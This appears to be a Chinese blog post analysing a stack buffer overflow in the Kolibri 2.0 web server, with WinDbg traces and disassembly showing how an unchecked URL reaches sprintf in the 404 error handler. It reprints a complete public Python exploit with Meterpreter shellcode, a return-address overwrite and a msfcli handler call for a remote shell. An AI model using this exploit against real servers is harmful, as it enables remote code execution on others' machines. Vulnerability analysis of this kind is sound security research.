作者:k0shl 转载请注明出处:https://whereisk0shl.top
休息回来了,也顺利脱单,找到了一个非常合适的女票,以后可以专心挖洞了:博客会继续更新,依然是一周1到2篇漏洞分析及利用。这里要声明一下因为很多漏洞都是两年前刚开始做漏洞分析的时候写的,分析中有很多不足的地方,感谢细心的小伙伴们提出,以后的漏洞分析利用中,我会更注重细节,真的很重要,希望大家以后能继续多多交流!
欢迎看官打赏,一分也是爱,https://whereisk0shl.top/about
漏洞说明
软件下载:
https://www.exploit-db.com/apps/4d4e15b98e105facf94e4fd6a1f9eb78-Kolibri-2.0-win.zip
PoC:
#!/usr/bin/python
# Exploit Title: Kolibri GET request Stack buffer Overflow
# Date: 25 April 2014
# Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org
# Vendor Homepage: http://www.senkas.com/kolibri/download.php
# Version: Kolibri 2.0
# Tested on: Windows XP SP3, Spanish
# Thanks:To my wife for putting up with my possessions
# Description:
# A buffer overflow is triggered when a long GET command is sent to the server.
import socket, sys, os, time
if len(sys.argv) != 3:
print "[*] Uso: %s <Ip Victima> <Puerto> \n" % sys.argv[0]
print "[*] Exploit created by Polunchis"
print "[*] https://www.intrusionlabs.com.mx"
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
#./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -t c -b '\x00\xff\x0a\x0d\x20\x40'
shellcode = (
"\x29\xc9\x83\xe9\xb5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xaa\x86\x33\x5f\x83\xee\xfc\xe2\xf4\x56\x6e\xba\x5f\xaa\x86"
"\x53\xd6\x4f\xb7\xe1\x3b\x21\xd4\x03\xd4\xf8\x8a\xb8\x0d\xbe"
"\x0d\x41\x77\xa5\x31\x79\x79\x9b\x79\x02\x9f\x06\xba\x52\x23"
"\xa8\xaa\x13\x9e\x65\x8b\x32\x98\x48\x76\x61\x08\x21\xd4\x23"
"\xd4\xe8\xba\x32\x8f\x21\xc6\x4b\xda\x6a\xf2\x79\x5e\x7a\xd6"
"\xb8\x17\xb2\x0d\x6b\x7f\xab\x55\xd0\x63\xe3\x0d\x07\xd4\xab"
"\x50\x02\xa0\x9b\x46\x9f\x9e\x65\x8b\x32\x98\x92\x66\x46\xab"
"\xa9\xfb\xcb\x64\xd7\xa2\x46\xbd\xf2\x0d\x6b\x7b\xab\x55\x55"
"\xd4\xa6\xcd\xb8\x07\xb6\x87\xe0\xd4\xae\x0d\x32\x8f\x23\xc2"
"\x17\x7b\xf1\xdd\x52\x06\xf0\xd7\xcc\xbf\xf2\xd9\x69\xd4\xb8"
"\x6d\xb5\x02\xc2\xb5\x01\x5f\xaa\xee\x44\x2c\x98\xd9\x67\x37"
"\xe6\xf1\x15\x58\x55\x53\x8b\xcf\xab\x86\x33\x76\x6e\xd2\x63"
"\x37\x83\x06\x58\x5f\x55\x53\x63\x0f\xfa\xd6\x73\x0f\xea\xd6"
"\x5b\xb5\xa5\x59\xd3\xa0\x7f\x11\x02\x84\xf9\xee\x31\x5f\xbb"
"\xda\xba\xb9\xc0\x96\x65\x08\xc2\x44\xe8\x68\xcd\x79\xe6\x0c"
"\xfd\xee\x84\xb6\x92\x79\xcc\x8a\xf9\xd5\x64\x37\xde\x6a\x08"
"\xbe\x55\x53\x64\xc8\xc2\xf3\x5d\x12\xcb\x79\xe6\x35\xaa\xec"
"\x37\x09\xfd\xee\x31\x86\x62\xd9\xcc\x8a\x21\xb0\x59\x1f\xc2"
"\x86\x23\x5f\xaa\xd0\x59\x5f\xc2\xde\x97\x0c\x4f\x79\xe6\xcc"
"\xf9\xec\x33\x09\xf9\xd1\x5b\x5d\x73\x4e\x6c\xa0\x7f\x87\xf0"
"\x76\x6c\x03\xc5\x2a\x46\x45\x33\x5f"
)
nop = "A" * 33 + '\x90' * 20
junk = "C" *(515-(len(nop)+len(shellcode)))
opcode= "\x83\xc4\x44\x83\xc4\x44\x83\xc4\x44\xff\xe4"
eip = '\x63\x46\x92\x7c'
#7c86467b 7C924663 call esp
buffer = nop + shellcode + junk + eip + opcode + "B" * 60
req = ("GET /" + buffer + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Connection: keep-alive\r\n\r\n")
print " [+] Connecting to %s:%d" % (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
print " [+] Sending payload.." + "nop: " + str(len(nop)) + " junk: " + str(len(junk)) + " shellcode: " + str(len(shellcode))
s.send(req)
data = s.recv(1024)
print " [+] Closing connection.."
s.close()
print "[+] Exploit Sent Successfully"
print "[+] Waiting for 3 sec before spawning shell to " + host + ":4444\r"
print "\r"
time.sleep(3)
os.system("msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.0.106 LPORT=4444 E")
print "[-] Connection lost from " + host + ":4444 \r"
except:
print "[-] Could not connect to " + host + ":4444\r"
sys.exit(0)
调试环境:
Windows xp sp3
漏洞复现
此漏洞是由于Kolibri服务器在处理URL请求时,当找不到路径文件的时候,会构造一个404页面返回,在构造的过程中,由于没有对请求的URL进行有效的长度检查和判断,从而导致了缓冲区溢出的发生,通过覆盖返回地址,可以达到任意代码执行的目的,接下来对此漏洞进行详细分析。
首先仍然是打开Kolibri服务,然后用Windbg附加,之后执行PoC,服务崩溃,到达漏洞现场。
0:002> g
(894.e78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=41414141 esp=0153fb28 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
通过kb回溯堆栈调用
0:002> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0153fb24 41414141 41414141 41414141 41414141 0x41414141
0153fb28 41414141 41414141 41414141 41414141 0x41414141
0153fb2c 41414141 41414141 41414141 41414141 0x41414141
0153fb30 41414141 41414141 41414141 41414141 0x41414141
0153fb34 41414141 41414141 41414141 41414141 0x41414141
0153fb38 41414141 41414141 41414141 41414141 0x41414141
可以看到堆栈被冲垮了,这时候尝试缩小PoC的payload长度,当缩小到215长度的时候。
0:002> g
(8e8.66c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=0040c766 esp=0153fb28 ebp=00414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\Kolibri-2.0-win\Kolibri.exe
Kolibri+0xc766:
0040c766 89850cfdffff mov dword ptr [ebp-2F4h],eax ss:0023:00413e4d=9589ffff
可以看到此时ebp的值是00414141,ebp已经被覆盖了,差点就覆盖到ret,接下来通过kb查看此时的堆栈调用。
0:002> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0153fbb4 7c9301bb 76f31382 00250000 00000008 Kolibri+0xc766
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\WLDAP32.dll -
0153fbb8 76f31382 00250000 00000008 0000001c ntdll!RtlAllocateHeap+0x117
好了,切入点其实很清晰了。
漏洞分析
通过回溯,我发现了一个很有趣的块.text:0040C6CB loc_40C6CB,在这个快中有一个比较有趣的函数调用。
.text:0040C6F8 lea eax, [ebp+var_118]
.text:0040C6FE mov [esp], eax ; this
.text:0040C701 call __ZNK10wxFileName10FileExistsEv ; wxFileName::FileExists(void)
.text:0040C706 test al, al
.text:0040C708 jnz loc_40C8C4
可以看到,这里调用了一个函数FileExist,判断文件存在,接下来会对返回值进行判断,如果不为0则跳转,如果为0,也就是文件不存在,则会进入一处有趣的调用。
.text:0040C70E mov eax, [ebp+var_1B0]
.text:0040C714 add eax, 40h
.text:0040C717 mov [esp+8], eax
.text:0040C71B mov dword ptr [esp+4], offset aNotFound ; "Not found: "
.text:0040C723 lea edx, [ebp+var_E8]
.text:0040C729 mov [esp], edx ; wxStringBase *
.text:0040C72C call __ZplPKcRK8wxString ; operator+(char const*,wxString const&)
.text:0040C731 sub esp, 4
.text:0040C734 lea ecx, [ebp+var_E8]
.text:0040C73A mov [esp], ecx ; this
.text:0040C73D call __ZNK12wxStringBase5c_strEv ; wxStringBase::c_str(void)
.text:0040C742 mov [esp+8], eax ; char *
.text:0040C746 mov dword ptr [esp+4], 194h ; int
.text:0040C74E mov eax, [ebp+var_1B0]
.text:0040C754 mov [esp], eax ; this
.text:0040C757 mov [ebp+var_168], 12h
.text:0040C761 call __ZN15CRequestHandler11ReturnErrorEiPc ; CRequestHandler::ReturnError(int,char *)
.text:0040C766 mov [ebp+var_2F4], eax
.text:0040C76C mov eax, [ebp+var_E8]
.text:0040C772 lea edx, [eax-0Ch]
.text:0040C775 cmp dword ptr [eax-0Ch], 0FFFFFFFFh
.text:0040C779 jz short loc_40C78C
.text:0040C77B dec dword ptr [eax-0Ch]
.text:0040C77E cmp dword ptr [eax-0Ch], 0
.text:0040C782 jnz short loc_40C78C
.text:0040C784 mov [esp], edx ; void *
.text:0040C787 call _free
这里会有一个Not Found,也就是说这里会构造一些语句,并进行一些函数调用,那么就从那个loc块入手开始分析。
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=006704bc edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6dc esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Kolibri+0xc6dc:
0040c6dc 89442404 mov dword ptr [esp+4],eax ss:0023:0153fb2c=00000000
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=006704bc edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6e0 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Kolibri+0xc6e0:
0040c6e0 8d8de8feffff lea ecx,[ebp-118h]
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=0153fdb8 edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6e6 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Kolibri+0xc6e6:
0040c6e6 890c24 mov dword ptr [esp],ecx ss:0023:0153fb28=0153fdb8
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=0153fdb8 edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6e9 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Kolibri+0xc6e9:
0040c6e9 c78598feffff13000000 mov dword ptr [ebp-168h],13h ss:0023:0153fd68=00000014
0:002> p
eax=00d7b5b0 ebx=0153fea8 ecx=0153fdb8 edx=006704bc esi=00d7becc edi=006623d0
eip=0040c6f3 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Kolibri+0xc6f3:
0040c6f3 e818bf1700 call Kolibri+0x188610 (00588610)
0:002> p
eax=003f3810 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c6f8 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Kolibri+0xc6f8:
0040c6f8 8d85e8feffff lea eax,[ebp-118h]
0:002> dc esi
00d7becc 4141412f 41414141 41414141 41414141 /AAAAAAAAAAAAAAA
00d7bedc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7beec 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7befc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7bf0c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7bf1c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7bf2c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7bf3c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
注意这里对URL路径进行了获取,接下来继续单步跟踪。
0:002> p
eax=0153fdb8 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c6fe esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Kolibri+0xc6fe:
0040c6fe 890424 mov dword ptr [esp],eax ss:0023:0153fb28=0153fdb8
0:002> p
eax=0153fdb8 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c701 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Kolibri+0xc701:
0040c701 e8ca7b1700 call Kolibri+0x1842d0 (005842d0)
0:002> dd eax
0153fdb8 00d7df8c 00000010 00000004 00d795c0
0153fdc8 00000000 00d7e13c 006704bc 00d70000
0153fdd8 00000074 00000000 77c0a341 00000000
0153fde8 006704bc 0000001b 00000200 0153fffc
0153fdf8 00d7964c 81b797bc 81b79650 81b79684
0153fe08 00d7bdbc b2ce8b2c 81b79650 b2ce8cf8
0153fe18 00d795cc b2ce8b5c 80501c88 00000000
0153fe28 00d7bdf4 00000000 00000000 00000000
0:002> dc poi(eax)
00d7df8c 00000043 00000000 00000000 00000000 C...............
00d7df9c 00000000 00050031 0108010a 00000000 ....1...........
00d7dfac 00000166 00000173 636f445c 6e656d75 f...s...\Documen
00d7dfbc 61207374 5320646e 69747465 5c73676e ts and Settings\
00d7dfcc 696d6441 7473696e 6f746172 794d5c72 Administrator\My
00d7dfdc 636f4420 6e656d75 685c7374 636f6474 Documents\htdoc
00d7dfec 41412f73 41414141 41414141 41414141 s/AAAAAAAAAAAAAA
00d7dffc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
经过这个call调用,eax指针会将这个URL组合成文件路径,在0040c701地址位置进行call调用,从上面的IDA汇编代码可以看到,这个地址的调用就是FileExist,也就是判断eax指针的文件是否存在,步过后。
0:002> p
eax=00000000 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c706 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Kolibri+0xc706:
0040c706 84c0 test al,al
0:002> p
eax=00000000 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c708 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Kolibri+0xc708:
0040c708 0f85b6010000 jne Kolibri+0xc8c4 (0040c8c4) [br=0]
这个文件肯定是不存在的,返回0,al的值为0,程序不跳转,继续执行。
0:002> p
eax=00000000 ebx=0153fea8 ecx=00000000 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c70e esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Kolibri+0xc70e:
0040c70e 8b8550feffff mov eax,dword ptr [ebp-1B0h] ss:0023:0153fd20=00d7b568
0:002> p
eax=00d7b568 ebx=0153fea8 ecx=0153fde8 edx=00000000 esi=00d7becc edi=006623d0
eip=0040c761 esp=0153fb28 ebp=0153fed0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Kolibri+0xc761:
0040c761 e8f6daffff call Kolibri+0xa25c (0040a25c)
0:002> dc poi(esp+8)
00d7e534 20746f4e 6e756f66 2f203a64 41414141 Not found: /AAAA
00d7e544 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e554 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e564 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e574 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e584 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e594 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e5a4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
经过第一次call调用后,可以发现这里构造了一个Not Found的语句,用于返回结果,提示用户没有找到这个路径,就像web server里的404页面一样。
接下来会进入ReturnError函数,这个函数就是用于web server返回错误的调用函数,这个函数的伪代码如下。
int __cdecl CRequestHandler::ReturnError(CRequestHandler *this, int a2, char *a3)
{
v30 = this;
v38 = __gxx_personality_sj0;
v39 = &word_65686A;
v40 = &v48;
v41 = &loc_40A6B0;
v42 = &v24;
_Unwind_SjLj_Register(&TlsValue);
v29 = a3;
v28 = strlen(a3);
v27 = a3;
v26 = (const char *)a2;
v37 = -1;
sprintf(
(char *)&v47,
"HTTP/1.1 %ld %s\r\nserver: kolibri-2.0\r\ncontent-type: text/plain\r\ncontent-length: %ld\r\n\r\n%s",
a2,
a3,
v28,
a3);
v25 = &v47;
可以看到,这里调用了一个sprintf,是一个很敏感的函数,在拷贝的过程中,a3都是用户传入的url路径的指针,这里拷贝前,没有对url长度进行判断,从而导致溢出,单步跟踪。
0:002> p
eax=00000000 ebx=0153fea8 ecx=0153fde8 edx=003f3810 esi=00d7becc edi=0153f874
eip=00630c83 esp=0153f7f8 ebp=0153f810 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Kolibri+0x230c83:
00630c83 8b422c mov eax,dword ptr [edx+2Ch] ds:0023:003f383c=00000000
0:002> bp 40a2ed
0:002> g
Breakpoint 1 hit
eax=00000194 ebx=0153fea8 ecx=0153f908 edx=00d7e534 esi=00d7becc edi=00d7e66d
eip=0040a2ed esp=0153f818 ebp=0153fb20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Kolibri+0xa2ed:
0040a2ed e8be7d2200 call Kolibri+0x2320b0 (006320b0)
0:002> dd esp
0153f818 0153f908 00662338 00000194 00d7e534
0153f828 00000138 00d7e534 00000000 7c930098
0153f838 00d7be50 0153f908 7c930021 003f0778
0153f848 7c93003d 00000000 00d7be58 00d7b568
0153f858 77c05c94 0153f848 ffffffff 0153ffa4
0153f868 77c05c94 77be2088 ffffffff 0022faec
0153f878 ffffffff 00000020 0153f890 00000000
0153f888 00000020 0062dc50 0065686a 0153fb08
0:002> dc 00d7e534
00d7e534 20746f4e 6e756f66 2f203a64 41414141 Not found: /AAAA
00d7e544 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e554 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e564 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e574 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e584 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e594 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00d7e5a4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
到达call调用的时候,第四个参数的值,就是传入的Not found,这里会执行拷贝,单步步过,同时查看ebp的值。
0:002> p
eax=000002c5 ebx=0153fea8 ecx=00004282 edx=0153fbcc esi=00d7becc edi=00d7e66d
eip=0040a2f2 esp=0153f818 ebp=0153fb20 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Kolibri+0xa2f2:
0040a2f2 8dbde8fdffff lea edi,[ebp-218h]
0:002> dd ebp
0153fb20 41414141 41414141 41414141 41414141
0153fb30 41414141 41414141 41414141 41414141
0153fb40 41414141 41414141 41414141 41414141
0153fb50 41414141 41414141 41414141 41414141
0153fb60 41414141 41414141 41414141 41414141
果然已经被覆盖,接下来,直接在ret返回处下断点。
0:002> bp 40a7bf
0:002> g
Breakpoint 2 hit
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=0040a7bf esp=0153fb24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Kolibri+0xa7bf:
0040a7bf c3 ret
0:002> p
(870.4d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00000000 edx=00000000 esi=41414141 edi=41414141
eip=41414141 esp=0153fb28 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
返回地址被覆盖,eip被控制,导致代码执行,看一下外层函数的伪代码。
int __cdecl CRequestHandler::Entry(CRequestHandler *this)
{
wxFileName::Assign(&v220, (char *)v197 + 72, 0);
if ( (unsigned __int8)wxFileName::FileExists((wxFileName *)&v220) )
{
}
else
{
v156 = (char *)v197 + 64;
v155 = (int *)"Not found: ";
operator+((wxStringBase *)&v226);
v90 = (char *)wxStringBase::c_str((wxStringBase *)&v226);
v211 = 18;
v164 = CRequestHandler::ReturnError(v197, 404, v90);
这里我省去了if语句内部逻辑,因为不重要,当判断文件不存在时,进入else语句处理,在c_str会构造NotFound语句,之后会调用函数ReturnError,这个函数会由于传入超长字符串,造成缓冲区溢出。
总结一下这个漏洞,是由于URL传入时,没有对传入的URL进行有效的检查,导致后续进行文件判断后会进入错误处理,在错误处理中,直接传入url长度,调用sprintf,导致缓冲区溢出,导致代码执行。
恭喜恭喜,脱单幸福
莪莪莪莪莪
大佬 请用Ruby